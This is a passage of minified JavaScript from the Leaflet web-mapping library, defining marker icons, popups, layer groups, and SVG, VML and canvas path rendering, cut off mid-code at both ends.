i,u=this.options,f=r.point(u[t+"Size"]);i="shadow"===t?r.point(u.shadowAnchor||u.iconAnchor):r.point(u.iconAnchor);!i&&f&&(i=f.divideBy(2,!0));n.className="leaflet-marker-"+t+" "+u.className;i&&(n.style.marginLeft=-i.x+"px",n.style.marginTop=-i.y+"px");f&&(n.style.width=f.x+"px",n.style.height=f.y+"px")},_createImg:function(n,i){return i=i||t.createElement("img"),i.src=n,i},_getIconUrl:function(n){return r.Browser.retina&&this.options[n+"RetinaUrl"]?this.options[n+"RetinaUrl"]:this.options[n+"Url"]}});r.icon=function(n){return new r.Icon(n)};r.Icon.Default=r.Icon.extend({options:{iconSize:[25,41],iconAnchor:[12,41],popupAnchor:[1,-34],shadowSize:[41,41]},_getIconUrl:function(n){var i=n+"Url",t;if(this.options[i])return this.options[i];if(r.Browser.retina&&"icon"===n&&(n+="-2x"),t=r.Icon.Default.imagePath,!t)throw new Error("Couldn't autodetect L.Icon.Default.imagePath, set it manually.");return t+"/marker-"+n+".png"}});r.Icon.Default.imagePath=function(){for(var i,o,r,f=t.getElementsByTagName("script"),e=/[\/^]leaflet[\-\._]?([\w\-\._]*)\.js\??/,n=0,u=f.length;u>n;n++)if(i=f[n].src,o=i.match(e))return r=i.split(e)[0],(r?r+"/":"")+"images"}();r.Marker=r.Class.extend({includes:r.Mixin.Events,options:{icon:new r.Icon.Default,title:"",alt:"",clickable:!0,draggable:!1,keyboard:!0,zIndexOffset:0,opacity:1,riseOnHover:!1,riseOffset:250},initialize:function(n,t){r.setOptions(this,t);this._latlng=r.latLng(n)},onAdd:function(n){this._map=n;n.on("viewreset",this.update,this);this._initIcon();this.update();this.fire("add");n.options.zoomAnimation&&n.options.markerZoomAnimation&&n.on("zoomanim",this._animateZoom,this)},addTo:function(n){return n.addLayer(this),this},onRemove:function(n){this.dragging&&this.dragging.disable();this._removeIcon();this._removeShadow();this.fire("remove");n.off({viewreset:this.update,zoomanim:this._animateZoom},this);this._map=null},getLatLng:function(){return this._latlng},setLatLng:function(n){return this._latlng=r.latLng(n),this.update(),this.fire("move",{latlng:this._latlng})},setZIndexOffset:function(n){return this.options.zIndexOffset=n,this.update(),this},setIcon:function(n){return this.options.icon=n,this._map&&(this._initIcon(),this.update()),this._popup&&this.bindPopup(this._popup),this},update:function(){return this._icon&&this._setPos(this._map.latLngToLayerPoint(this._latlng).round()),this},_initIcon:function(){var n=this.options,e=this._map,h=e.options.zoomAnimation&&e.options.markerZoomAnimation,o=h?"leaflet-zoom-animated":"leaflet-zoom-hide",t=n.icon.createIcon(this._icon),s=!1,i,u,f;t!==this._icon&&(this._icon&&this._removeIcon(),s=!0,n.title&&(t.title=n.title),n.alt&&(t.alt=n.alt));r.DomUtil.addClass(t,o);n.keyboard&&(t.tabIndex="0");this._icon=t;this._initInteraction();n.riseOnHover&&r.DomEvent.on(t,"mouseover",this._bringToFront,this).on(t,"mouseout",this._resetZIndex,this);i=n.icon.createShadow(this._shadow);u=!1;i!==this._shadow&&(this._removeShadow(),u=!0);i&&r.DomUtil.addClass(i,o);this._shadow=i;n.opacity<1&&this._updateOpacity();f=this._map._panes;s&&f.markerPane.appendChild(this._icon);i&&u&&f.shadowPane.appendChild(this._shadow)},_removeIcon:function(){this.options.riseOnHover&&r.DomEvent.off(this._icon,"mouseover",this._bringToFront).off(this._icon,"mouseout",this._resetZIndex);this._map._panes.markerPane.removeChild(this._icon);this._icon=null},_removeShadow:function(){this._shadow&&this._map._panes.shadowPane.removeChild(this._shadow);this._shadow=null},_setPos:function(n){r.DomUtil.setPosition(this._icon,n);this._shadow&&r.DomUtil.setPosition(this._shadow,n);this._zIndex=n.y+this.options.zIndexOffset;this._resetZIndex()},_updateZIndex:function(n){this._icon.style.zIndex=this._zIndex+n},_animateZoom:function(n){var t=this._map._latLngToNewLayerPoint(this._latlng,n.zoom,n.center).round();this._setPos(t)},_initInteraction:function(){var n,i,t;if(this.options.clickable){for(n=this._icon,i=["dblclick","mousedown","mouseover","mouseout","contextmenu"],r.DomUtil.addClass(n,"leaflet-clickable"),r.DomEvent.on(n,"click",this._onMouseClick,this),r.DomEvent.on(n,"keypress",this._onKeyPress,this),t=0;t<i.length;t++)r.DomEvent.on(n,i[t],this._fireMouseEvent,this);r.Handler.MarkerDrag&&(this.dragging=new r.Handler.MarkerDrag(this),this.options.draggable&&this.dragging.enable())}},_onMouseClick:function(n){var t=this.dragging&&this.dragging.moved();(this.hasEventListeners(n.type)||t)&&r.DomEvent.stopPropagation(n);t||(this.dragging&&this.dragging._enabled||!this._map.dragging||!this._map.dragging.moved())&&this.fire(n.type,{originalEvent:n,latlng:this._latlng})},_onKeyPress:function(n){13===n.keyCode&&this.fire("click",{originalEvent:n,latlng:this._latlng})},_fireMouseEvent:function(n){this.fire(n.type,{originalEvent:n,latlng:this._latlng});"contextmenu"===n.type&&this.hasEventListeners(n.type)&&r.DomEvent.preventDefault(n);"mousedown"!==n.type?r.DomEvent.stopPropagation(n):r.DomEvent.preventDefault(n)},setOpacity:function(n){return this.options.opacity=n,this._map&&this._updateOpacity(),this},_updateOpacity:function(){r.DomUtil.setOpacity(this._icon,this.options.opacity);this._shadow&&r.DomUtil.setOpacity(this._shadow,this.options.opacity)},_bringToFront:function(){this._updateZIndex(this.options.riseOffset)},_resetZIndex:function(){this._updateZIndex(0)}});r.marker=function(n,t){return new r.Marker(n,t)};r.DivIcon=r.Icon.extend({options:{iconSize:[12,12],className:"leaflet-div-icon",html:!1},createIcon:function(n){var r=n&&"DIV"===n.tagName?n:t.createElement("div"),i=this.options;return r.innerHTML=i.html!==!1?i.html:"",i.bgPos&&(r.style.backgroundPosition=-i.bgPos.x+"px "+-i.bgPos.y+"px"),this._setIconStyles(r,"icon"),r},createShadow:function(){return null}});r.divIcon=function(n){return new r.DivIcon(n)};r.Map.mergeOptions({closePopupOnClick:!0});r.Popup=r.Class.extend({includes:r.Mixin.Events,options:{minWidth:50,maxWidth:300,autoPan:!0,closeButton:!0,offset:[0,7],autoPanPadding:[5,5],keepInView:!1,className:"",zoomAnimation:!0},initialize:function(n,t){r.setOptions(this,n);this._source=t;this._animated=r.Browser.any3d&&this.options.zoomAnimation;this._isOpen=!1},onAdd:function(n){this._map=n;this._container||this._initLayout();var t=n.options.fadeAnimation;t&&r.DomUtil.setOpacity(this._container,0);n._panes.popupPane.appendChild(this._container);n.on(this._getEvents(),this);this.update();t&&r.DomUtil.setOpacity(this._container,1);this.fire("open");n.fire("popupopen",{popup:this});this._source&&this._source.fire("popupopen",{popup:this})},addTo:function(n){return n.addLayer(this),this},openOn:function(n){return n.openPopup(this),this},onRemove:function(n){n._panes.popupPane.removeChild(this._container);r.Util.falseFn(this._container.offsetWidth);n.off(this._getEvents(),this);n.options.fadeAnimation&&r.DomUtil.setOpacity(this._container,0);this._map=null;this.fire("close");n.fire("popupclose",{popup:this});this._source&&this._source.fire("popupclose",{popup:this})},getLatLng:function(){return this._latlng},setLatLng:function(n){return this._latlng=r.latLng(n),this._map&&(this._updatePosition(),this._adjustPan()),this},getContent:function(){return this._content},setContent:function(n){return this._content=n,this.update(),this},update:function(){this._map&&(this._container.style.visibility="hidden",this._updateContent(),this._updateLayout(),this._updatePosition(),this._container.style.visibility="",this._adjustPan())},_getEvents:function(){var n={viewreset:this._updatePosition};return this._animated&&(n.zoomanim=this._zoomAnimation),("closeOnClick"in this.options?this.options.closeOnClick:this._map.options.closePopupOnClick)&&(n.preclick=this._close),this.options.keepInView&&(n.moveend=this._adjustPan),n},_close:function(){this._map&&this._map.closePopup(this)},_initLayout:function(){var t,n="leaflet-popup",f=n+" "+this.options.className+" leaflet-zoom-"+(this._animated?"animated":"hide"),u=this._container=r.DomUtil.create("div",f),i;this.options.closeButton&&(t=this._closeButton=r.DomUtil.create("a",n+"-close-button",u),t.href="#close",t.innerHTML="&#215;",r.DomEvent.disableClickPropagation(t),r.DomEvent.on(t,"click",this._onCloseButtonClick,this));i=this._wrapper=r.DomUtil.create("div",n+"-content-wrapper",u);r.DomEvent.disableClickPropagation(i);this._contentNode=r.DomUtil.create("div",n+"-content",i);r.DomEvent.disableScrollPropagation(this._contentNode);r.DomEvent.on(i,"contextmenu",r.DomEvent.stopPropagation);this._tipContainer=r.DomUtil.create("div",n+"-tip-container",u);this._tip=r.DomUtil.create("div",n+"-tip",this._tipContainer)},_updateContent:function(){if(this._content){if("string"==typeof this._content)this._contentNode.innerHTML=this._content;else{for(;this._contentNode.hasChildNodes();)this._contentNode.removeChild(this._contentNode.firstChild);this._contentNode.appendChild(this._content)}this.fire("contentupdate")}},_updateLayout:function(){var i=this._contentNode,n=i.style,t;n.width="";n.whiteSpace="nowrap";t=i.offsetWidth;t=Math.min(t,this.options.maxWidth);t=Math.max(t,this.options.minWidth);n.width=t+1+"px";n.whiteSpace="";n.height="";var e=i.offsetHeight,u=this.options.maxHeight,f="leaflet-popup-scrolled";u&&e>u?(n.height=u+"px",r.DomUtil.addClass(i,f)):r.DomUtil.removeClass(i,f);this._containerWidth=this._container.offsetWidth},_updatePosition:function(){if(this._map){var n=this._map.latLngToLayerPoint(this._latlng),t=this._animated,i=r.point(this.options.offset);t&&r.DomUtil.setPosition(this._container,n);this._containerBottom=-i.y-(t?0:n.y);this._containerLeft=-Math.round(this._containerWidth/2)+i.x+(t?0:n.x);this._container.style.bottom=this._containerBottom+"px";this._container.style.left=this._containerLeft+"px"}},_zoomAnimation:function(n){var t=this._map._latLngToNewLayerPoint(this._latlng,n.zoom,n.center);r.DomUtil.setPosition(this._container,t)},_adjustPan:function(){if(this.options.autoPan){var o=this._map,s=this._container.offsetHeight,h=this._containerWidth,c=new r.Point(this._containerLeft,-s-this._containerBottom);this._animated&&c._add(r.DomUtil.getPosition(this._container));var n=o.layerPointToContainerPoint(c),l=r.point(this.options.autoPanPadding),u=r.point(this.options.autoPanPaddingTopLeft||l),f=r.point(this.options.autoPanPaddingBottomRight||l),e=o.getSize(),t=0,i=0;n.x+h+f.x>e.x&&(t=n.x+h-e.x+f.x);n.x-t-u.x<0&&(t=n.x-u.x);n.y+s+f.y>e.y&&(i=n.y+s-e.y+f.y);n.y-i-u.y<0&&(i=n.y-u.y);(t||i)&&o.fire("autopanstart").panBy([t,i])}},_onCloseButtonClick:function(n){this._close();r.DomEvent.stop(n)}});r.popup=function(n,t){return new r.Popup(n,t)};r.Map.include({openPopup:function(n,t,i){if(this.closePopup(),!(n instanceof r.Popup)){var u=n;n=new r.Popup(i).setLatLng(t).setContent(u)}return n._isOpen=!0,this._popup=n,this.addLayer(n)},closePopup:function(n){return n&&n!==this._popup||(n=this._popup,this._popup=null),n&&(this.removeLayer(n),n._isOpen=!1),this}});r.Marker.include({openPopup:function(){return this._popup&&this._map&&!this._map.hasLayer(this._popup)&&(this._popup.setLatLng(this._latlng),this._map.openPopup(this._popup)),this},closePopup:function(){return this._popup&&this._popup._close(),this},togglePopup:function(){return this._popup&&(this._popup._isOpen?this.closePopup():this.openPopup()),this},bindPopup:function(n,t){var i=r.point(this.options.icon.options.popupAnchor||[0,0]);return i=i.add(r.Popup.prototype.options.offset),t&&t.offset&&(i=i.add(t.offset)),t=r.extend({offset:i},t),this._popupHandlersAdded||(this.on("click",this.togglePopup,this).on("remove",this.closePopup,this).on("move",this._movePopup,this),this._popupHandlersAdded=!0),n instanceof r.Popup?(r.setOptions(n,t),this._popup=n,n._source=this):this._popup=new r.Popup(t,this).setContent(n),this},setPopupContent:function(n){return this._popup&&this._popup.setContent(n),this},unbindPopup:function(){return this._popup&&(this._popup=null,this.off("click",this.togglePopup,this).off("remove",this.closePopup,this).off("move",this._movePopup,this),this._popupHandlersAdded=!1),this},getPopup:function(){return this._popup},_movePopup:function(n){this._popup.setLatLng(n.latlng)}});r.LayerGroup=r.Class.extend({initialize:function(n){this._layers={};var t,i;if(n)for(t=0,i=n.length;i>t;t++)this.addLayer(n[t])},addLayer:function(n){var t=this.getLayerId(n);return this._layers[t]=n,this._map&&this._map.addLayer(n),this},removeLayer:function(n){var t=n in this._layers?n:this.getLayerId(n);return this._map&&this._layers[t]&&this._map.removeLayer(this._layers[t]),delete this._layers[t],this},hasLayer:function(n){return n?n in this._layers||this.getLayerId(n)in this._layers:!1},clearLayers:function(){return this.eachLayer(this.removeLayer,this),this},invoke:function(n){var i,t,r=Array.prototype.slice.call(arguments,1);for(i in this._layers)t=this._layers[i],t[n]&&t[n].apply(t,r);return this},onAdd:function(n){this._map=n;this.eachLayer(n.addLayer,n)},onRemove:function(n){this.eachLayer(n.removeLayer,n);this._map=null},addTo:function(n){return n.addLayer(this),this},eachLayer:function(n,t){for(var i in this._layers)n.call(t,this._layers[i]);return this},getLayer:function(n){return this._layers[n]},getLayers:function(){var n=[];for(var t in this._layers)n.push(this._layers[t]);return n},setZIndex:function(n){return this.invoke("setZIndex",n)},getLayerId:function(n){return r.stamp(n)}});r.layerGroup=function(n){return new r.LayerGroup(n)};r.FeatureGroup=r.LayerGroup.extend({includes:r.Mixin.Events,statics:{EVENTS:"click dblclick mouseover mouseout mousemove contextmenu popupopen popupclose"},addLayer:function(n){return this.hasLayer(n)?this:("on"in n&&n.on(r.FeatureGroup.EVENTS,this._propagateEvent,this),r.LayerGroup.prototype.addLayer.call(this,n),this._popupContent&&n.bindPopup&&n.bindPopup(this._popupContent,this._popupOptions),this.fire("layeradd",{layer:n}))},removeLayer:function(n){return this.hasLayer(n)?(n in this._layers&&(n=this._layers[n]),"off"in n&&n.off(r.FeatureGroup.EVENTS,this._propagateEvent,this),r.LayerGroup.prototype.removeLayer.call(this,n),this._popupContent&&this.invoke("unbindPopup"),this.fire("layerremove",{layer:n})):this},bindPopup:function(n,t){return this._popupContent=n,this._popupOptions=t,this.invoke("bindPopup",n,t)},openPopup:function(n){for(var t in this._layers){this._layers[t].openPopup(n);break}return this},setStyle:function(n){return this.invoke("setStyle",n)},bringToFront:function(){return this.invoke("bringToFront")},bringToBack:function(){return this.invoke("bringToBack")},getBounds:function(){var n=new r.LatLngBounds;return this.eachLayer(function(t){n.extend(t instanceof r.Marker?t.getLatLng():t.getBounds())}),n},_propagateEvent:function(n){n=r.extend({layer:n.target,target:this},n);this.fire(n.type,n)}});r.featureGroup=function(n){return new r.FeatureGroup(n)};r.Path=r.Class.extend({includes:[r.Mixin.Events],statics:{CLIP_PADDING:function(){var t=r.Browser.mobile?1280:2e3,i=(t/Math.max(n.outerWidth,n.outerHeight)-1)/2;return Math.max(0,Math.min(.5,i))}()},options:{stroke:!0,color:"#0033ff",dashArray:null,lineCap:null,lineJoin:null,weight:5,opacity:.5,fill:!1,fillColor:null,fillOpacity:.2,clickable:!0},initialize:function(n){r.setOptions(this,n)},onAdd:function(n){this._map=n;this._container||(this._initElements(),this._initEvents());this.projectLatlngs();this._updatePath();this._container&&this._map._pathRoot.appendChild(this._container);this.fire("add");n.on({viewreset:this.projectLatlngs,moveend:this._updatePath},this)},addTo:function(n){return n.addLayer(this),this},onRemove:function(n){n._pathRoot.removeChild(this._container);this.fire("remove");this._map=null;r.Browser.vml&&(this._container=null,this._stroke=null,this._fill=null);n.off({viewreset:this.projectLatlngs,moveend:this._updatePath},this)},projectLatlngs:function(){},setStyle:function(n){return r.setOptions(this,n),this._container&&this._updateStyle(),this},redraw:function(){return this._map&&(this.projectLatlngs(),this._updatePath()),this}});r.Map.include({_updatePathViewport:function(){var n=r.Path.CLIP_PADDING,t=this.getSize(),u=r.DomUtil.getPosition(this._mapPane),i=u.multiplyBy(-1)._subtract(t.multiplyBy(n)._round()),f=i.add(t.multiplyBy(1+2*n)._round());this._pathViewport=new r.Bounds(i,f)}});r.Path.SVG_NS="http://www.w3.org/2000/svg";r.Browser.svg=!(!t.createElementNS||!t.createElementNS(r.Path.SVG_NS,"svg").createSVGRect);r.Path=r.Path.extend({statics:{SVG:r.Browser.svg},bringToFront:function(){var t=this._map._pathRoot,n=this._container;return n&&t.lastChild!==n&&t.appendChild(n),this},bringToBack:function(){var t=this._map._pathRoot,n=this._container,i=t.firstChild;return n&&i!==n&&t.insertBefore(n,i),this},getPathString:function(){},_createElement:function(n){return t.createElementNS(r.Path.SVG_NS,n)},_initElements:function(){this._map._initPathRoot();this._initPath();this._initStyle()},_initPath:function(){this._container=this._createElement("g");this._path=this._createElement("path");this.options.className&&r.DomUtil.addClass(this._path,this.options.className);this._container.appendChild(this._path)},_initStyle:function(){this.options.stroke&&(this._path.setAttribute("stroke-linejoin","round"),this._path.setAttribute("stroke-linecap","round"));this.options.fill&&this._path.setAttribute("fill-rule","evenodd");this.options.pointerEvents&&this._path.setAttribute("pointer-events",this.options.pointerEvents);this.options.clickable||this.options.pointerEvents||this._path.setAttribute("pointer-events","none");this._updateStyle()},_updateStyle:function(){this.options.stroke?(this._path.setAttribute("stroke",this.options.color),this._path.setAttribute("stroke-opacity",this.options.opacity),this._path.setAttribute("stroke-width",this.options.weight),this.options.dashArray?this._path.setAttribute("stroke-dasharray",this.options.dashArray):this._path.removeAttribute("stroke-dasharray"),this.options.lineCap&&this._path.setAttribute("stroke-linecap",this.options.lineCap),this.options.lineJoin&&this._path.setAttribute("stroke-linejoin",this.options.lineJoin)):this._path.setAttribute("stroke","none");this.options.fill?(this._path.setAttribute("fill",this.options.fillColor||this.options.color),this._path.setAttribute("fill-opacity",this.options.fillOpacity)):this._path.setAttribute("fill","none")},_updatePath:function(){var n=this.getPathString();n||(n="M0 0");this._path.setAttribute("d",n)},_initEvents:function(){if(this.options.clickable){(r.Browser.svg||!r.Browser.vml)&&r.DomUtil.addClass(this._path,"leaflet-clickable");r.DomEvent.on(this._container,"click",this._onMouseClick,this);for(var t=["dblclick","mousedown","mouseover","mouseout","mousemove","contextmenu"],n=0;n<t.length;n++)r.DomEvent.on(this._container,t[n],this._fireMouseEvent,this)}},_onMouseClick:function(n){this._map.dragging&&this._map.dragging.moved()||this._fireMouseEvent(n)},_fireMouseEvent:function(n){if(this._map&&this.hasEventListeners(n.type)){var t=this._map,i=t.mouseEventToContainerPoint(n),u=t.containerPointToLayerPoint(i),f=t.layerPointToLatLng(u);this.fire(n.type,{latlng:f,layerPoint:u,containerPoint:i,originalEvent:n});"contextmenu"===n.type&&r.DomEvent.preventDefault(n);"mousemove"!==n.type&&r.DomEvent.stopPropagation(n)}}});r.Map.include({_initPathRoot:function(){this._pathRoot||(this._pathRoot=r.Path.prototype._createElement("svg"),this._panes.overlayPane.appendChild(this._pathRoot),this.options.zoomAnimation&&r.Browser.any3d?(r.DomUtil.addClass(this._pathRoot,"leaflet-zoom-animated"),this.on({zoomanim:this._animatePathZoom,zoomend:this._endPathZoom})):r.DomUtil.addClass(this._pathRoot,"leaflet-zoom-hide"),this.on("moveend",this._updateSvgViewport),this._updateSvgViewport())},_animatePathZoom:function(n){var t=this.getZoomScale(n.zoom),i=this._getCenterOffset(n.center)._multiplyBy(-t)._add(this._pathViewport.min);this._pathRoot.style[r.DomUtil.TRANSFORM]=r.DomUtil.getTranslateString(i)+" scale("+t+") ";this._pathZooming=!0},_endPathZoom:function(){this._pathZooming=!1},_updateSvgViewport:function(){if(!this._pathZooming){this._updatePathViewport();var i=this._pathViewport,t=i.min,u=i.max,f=u.x-t.x,e=u.y-t.y,n=this._pathRoot,o=this._panes.overlayPane;r.Browser.mobileWebkit&&o.removeChild(n);r.DomUtil.setPosition(n,t);n.setAttribute("width",f);n.setAttribute("height",e);n.setAttribute("viewBox",[t.x,t.y,f,e].join(" "));r.Browser.mobileWebkit&&o.appendChild(n)}}});r.Path.include({bindPopup:function(n,t){return n instanceof r.Popup?this._popup=n:((!this._popup||t)&&(this._popup=new r.Popup(t,this)),this._popup.setContent(n)),this._popupHandlersAdded||(this.on("click",this._openPopup,this).on("remove",this.closePopup,this),this._popupHandlersAdded=!0),this},unbindPopup:function(){return this._popup&&(this._popup=null,this.off("click",this._openPopup).off("remove",this.closePopup),this._popupHandlersAdded=!1),this},openPopup:function(n){return this._popup&&(n=n||this._latlng||this._latlngs[Math.floor(this._latlngs.length/2)],this._openPopup({latlng:n})),this},closePopup:function(){return this._popup&&this._popup._close(),this},_openPopup:function(n){this._popup.setLatLng(n.latlng);this._map.openPopup(this._popup)}});r.Browser.vml=!r.Browser.svg&&function(){var i,n;try{return i=t.createElement("div"),i.innerHTML='<v:shape adj="1"/>',n=i.firstChild,n.style.behavior="url(#default#VML)",n&&"object"==typeof n.adj}catch(r){return!1}}();r.Path=r.Browser.svg||!r.Browser.vml?r.Path:r.Path.extend({statics:{VML:!0,CLIP_PADDING:.02},_createElement:function(){try{return t.namespaces.add("lvml","urn:schemas-microsoft-com:vml"),function(n){return t.createElement("<lvml:"+n+' class="lvml">')}}catch(n){return function(n){return t.createElement("<"+n+' xmlns="urn:schemas-microsoft.com:vml" class="lvml">')}}}(),_initPath:function(){var n=this._container=this._createElement("shape");r.DomUtil.addClass(n,"leaflet-vml-shape"+(this.options.className?" "+this.options.className:""));this.options.clickable&&r.DomUtil.addClass(n,"leaflet-clickable");n.coordsize="1 1";this._path=this._createElement("path");n.appendChild(this._path);this._map._pathRoot.appendChild(n)},_initStyle:function(){this._updateStyle()},_updateStyle:function(){var t=this._stroke,i=this._fill,n=this.options,u=this._container;u.stroked=n.stroke;u.filled=n.fill;n.stroke?(t||(t=this._stroke=this._createElement("stroke"),t.endcap="round",u.appendChild(t)),t.weight=n.weight+"px",t.color=n.color,t.opacity=n.opacity,t.dashStyle=n.dashArray?r.Util.isArray(n.dashArray)?n.dashArray.join(" "):n.dashArray.replace(/( *, *)/g," "):"",n.lineCap&&(t.endcap=n.lineCap.replace("butt","flat")),n.lineJoin&&(t.joinstyle=n.lineJoin)):t&&(u.removeChild(t),this._stroke=null);n.fill?(i||(i=this._fill=this._createElement("fill"),u.appendChild(i)),i.color=n.fillColor||n.color,i.opacity=n.fillOpacity):i&&(u.removeChild(i),this._fill=null)},_updatePath:function(){var n=this._container.style;n.display="none";this._path.v=this.getPathString()+" ";n.display=""}});r.Map.include(r.Browser.svg||!r.Browser.vml?{}:{_initPathRoot:function(){if(!this._pathRoot){var n=this._pathRoot=t.createElement("div");n.className="leaflet-vml-container";this._panes.overlayPane.appendChild(n);this.on("moveend",this._updatePathViewport);this._updatePathViewport()}}});r.Browser.canvas=function(){return!!t.createElement("canvas").getContext}();r.Path=r.Path.SVG&&!n.L_PREFER_CANVAS||!r.Browser.canvas?r.Path:r.Path.extend({statics:{CANVAS:!0,SVG:!1},redraw:function(){return this._map&&(this.projectLatlngs(),this._requestUpdate()),this},setStyle:function(n){return r.setOptions(this,n),this._map&&(this._updateStyle(),this._requestUpdate()),this},onRemove:function(n){n.off("viewreset",this.projectLatlngs,this).off("moveend",this._updatePath,this);this.options.clickable&&(this._map.off("click",this._onClick,this),this._map.off("mousemove",this._onMouseMove,this));this._requestUpdate();this.fire("remove");this._map=null},_requestUpdate:function(){this._map&&!r.Path._updateRequest&&(r.Path._updateRequest=r.Util.requestAnimFrame(this._fireMapMoveEnd,this._map))},_fireMapMoveEnd:function(){r.Path._updateRequest=null;this.fire("moveend")},_initElements:function(){this._map._initPathRoot();this._ctx=this._map._canvasCtx},_updateStyle:function(){var n=this.options;n.stroke&&(this._ctx.lineWidth=n.weight,this._ctx.strokeStyle=n.color);n.fill&&(this._ctx.fillStyle=n.fillColor||n.color);n.lineCap&&(this._ctx.lineCap=n.lineCap);n.lineJoin&&(this._ctx.lineJoin=n.lineJoin)},_drawPath:function(){var n,t,u,f,i,e;for(this._ctx.beginPath(),n=0,u=this._parts.length;u>n;n++){for(t=0,f=this._parts[n].length;f>t;t++)i=this._parts[n][t],e=(0===t?"move":"line")+"To",this._ctx[e](i.x,i.y);this instanceof r.Polygon&&this._ctx.closePath()}},_checkIfEmpty:function(){return!this._parts.length},_updatePath:function(){if(!this._checkIfEmpty()){var n=this._ctx,t=this.options;this._drawPath();n.save();this._updateStyle();t.fill&&(n.globalAlpha=t.fillOpacity,n.fill(t.fillRule||"evenodd"));t.stroke&&(n.globalAlpha=t.opacity,n.stroke());n.restore()}},_initEvents:function(){this.options.clickable&&(this._map.on("mousemove",this._onMouseMove,this),this._map.on("click dblclick contextmenu",this._fireMouseEvent,this))},_fireMouseEvent:function(n){this._containsPoint(n.layerPoint)&&this.fire(n.type,n)},_onMouseMove:function(n){this._map&&!this._map._animatingZoom&&(this._containsPoint(n.layerPoint)?(this._ctx.canvas.style.cursor="pointer",this._mouseInside=!0,this.fire("mouseover",n)):this._mouseInside&&(this._ctx.canvas.style.cursor="",this._mouseInside=!1,this.fire("mouseout",n)))}});r.Map.include(r.Path.SVG&&!n.L_PREFER_CANVAS||!r.Browser.canvas?{}:{_initPathRoot:function(){var i,n=this._pathRoot;n||(n=this._pathRoot=t.createElement("canvas"),n.style.position="absolute",i=this._canvasCtx=n.getContext("2d"),i.lineCap="round",i.lineJoin="round",this._panes.overlayPane.appendChild(n),this.options.zoomAnimation&&(this._pathRoot.className="leaflet-zoom-animated",this.on("zoomanim",this._animatePathZoom),this.on("zoomend",this._endPathZoom)),this.on("moveend",this._updateCanvasViewport),this._updateCanvasViewport())},_updateCanvasViewport:function(){if(!this._pathZooming){this._updatePathViewport();var i=this._pathViewport,n=i.min,u=i.max.subtract(n),t=this._pathRoot;r.DomUtil.setPosition(t,n);t.width=u.x;t.height=u.y;t.getContext("2d").translate(-n.x,-n.y)}}});r.LineUtil={simplify:function(n,t){if(!t||!n.length)return n.slice();var i=t*t;return n=this._reducePoints(n,i),n=this._simplifyDP(n,i)},pointToSegmentDistance:function(n,t,i){return Math.sqrt(this._sqClosestPointOnSegment(n,t,i,!0))},closestPointOnSegment:function(n,t,i){return this._sqClosestPointOnSegment(n,t,i)},_simplifyDP:function(n,t){var u=n.length,o=typeof Uint8Array!=i+""?Uint8Array:Array,f=new o(u),r,e;for(f[0]=f[u-1]=1,this._simplifyDPStep(n,f,t,0,u-1),e=[],r=0;u>r;r++)f[r]&&e.push(n[r]);return e},_simplifyDPStep:function(n,t,i,r,u){for(var e,o,s=0,f=r+1;u-1>=f;f++)o=this._sqClosestPointOnSegment(n[f],n[r],n[u],!0),o>s&&(e=f,s=o);s>i&&(t[e]=1,this._simplifyDPStep(n,t,i,r,e),this._simplifyDPStep(n,t,i,e,u))},_reducePoints:function(n,t){for(var r=[n[0]],i=1,u=0,f=n.length;f>i;i++)this._sqDist(n[i],n[u])>t&&(r.push(n[i]),u=i);return f-1>u&&r.push(n[f-1]),r},clipSegment:function(n,t,i,r){var o,e,s,u=r?this._lastCode:this._getBitCode(n,i),f=this._getBitCode(t,i);for(this._lastCode=f;;){if(!(u|f))return[n,t];if(u&f)return!1;o=u||f;e=this._getEdgeIntersection(n,t,o,i);s=this._getBitCode(e,i);o===u?(n=e,u=s):(t=e,f=s)}},_getEdgeIntersection:function(n,t,i,u){var f=t.x-n.x,e=t.y-n.y,o=u.min,s=u.max;return 8&i?new r.Point(n.x+f*(s.y-n.y)/e,s.y):4&i?new r.Point(n.x+f*(o.y-n.y)/e,o.y):2&i?new r.Point(s.x,n.y+e*(s.x-n.x)/f):1&i?new r.Point(o.x,n.y+e*(o.x-n.x)/f):void 0},_getBitCode:function(n,t){var i=0;return n.x<t.min.x?i|=1:n.x>t.max.x&&(i|=2),n.y<t.min.y?i|=4:n.y>t.max.y&&(i|=8),i},_sqDist:function(n,t){var i=t.x-n.x,r=t.y-n.y;return i*i+r*r},_sqClosestPointOnSegment:function(n,t,i,u){var h,o=t.x,s=t.y,f=i.x-o,e=i.y-s,c=f*f+e*e;return c>0&&(h=((n.x-o)*f+(n.y-s)*e)/c,h>1?(o=i.x,s=i.y):h>0&&(o+=f*h,s+=e*h)),f=n.x-o,e=n.y-s,u?f*f+e*e:new r.Point(o,s)}};r.Polyline=r.Path.extend({initialize:function(n,t){r.Path.prototype.initialize.call(this,t);this._latlngs=this._convertLatLngs(n)},options:{smoothFactor:1,noClip:!1},projectLatlngs:function(){this._originalPoints=[];for(var n=0,t=this._latlngs.length;t>n;n++)this._originalPoints[n]=this._map.latLngToLayerPoint(this._latlngs[n])},getPathString:function(){for(var n=0,i=this._parts.length,t="";i>n;n++)t+=this._getPathPartStr(this._parts[n]);return t},getLatLngs:function(){return this._latlngs},setLatLngs:function(n){return this._latlngs=this._convertLatLngs(n),this.redraw()},addLatLng:function(n){return this._latlngs.push(r.latLng(n)),this.redraw()},spliceLatLngs:function(){var n=[].splice.apply(this._latlngs,arguments);return this._convertLatLngs(this._latlngs,!0),this.redraw(),n},closestLayerPoint:function(n){for(var h,u,f,e=1/0,c=this._parts,t=null,o=0,l=c.length;l>o;o++)for(var s=c[o],i=1,a=s.length;a>i;i++)u=s[i-1],f=s[i],h=r.LineUtil._sqClosestPointOnSegment(n,u,f,!0),e>h&&(e=h,t=r.LineUtil._sqClosestPointOnSegment(n,u,f));return t&&(t.distance=Math.sqrt(e)),t},getBounds:function(){return new r.LatLngBounds(this.getLatLngs())},_convertLatLngs:function(n,t){for(var f=t?n:[],i=0,u=n.length;u>i;i++){if(r.Util.isArray(n[i])&&"number"!=typeof n[i][0])return;f[i]=r.latLng(n[i])}return f},_initEvents:function(){r.Path.prototype._initEvents.call(this)},_getPathPartStr:function(n){for(var t,f=r.Path.VML,i=0,e=n.length,u="";e>i;i++)t=n[i],f&&t._round(),u+=(i?"L":"M")+t.x+" "+t.y;return u},_clipPoints:function(){var n,t,i,u=this._originalPoints,e=u.length;if(this.options.noClip)return void(this._parts=[u]);this._parts=[];var 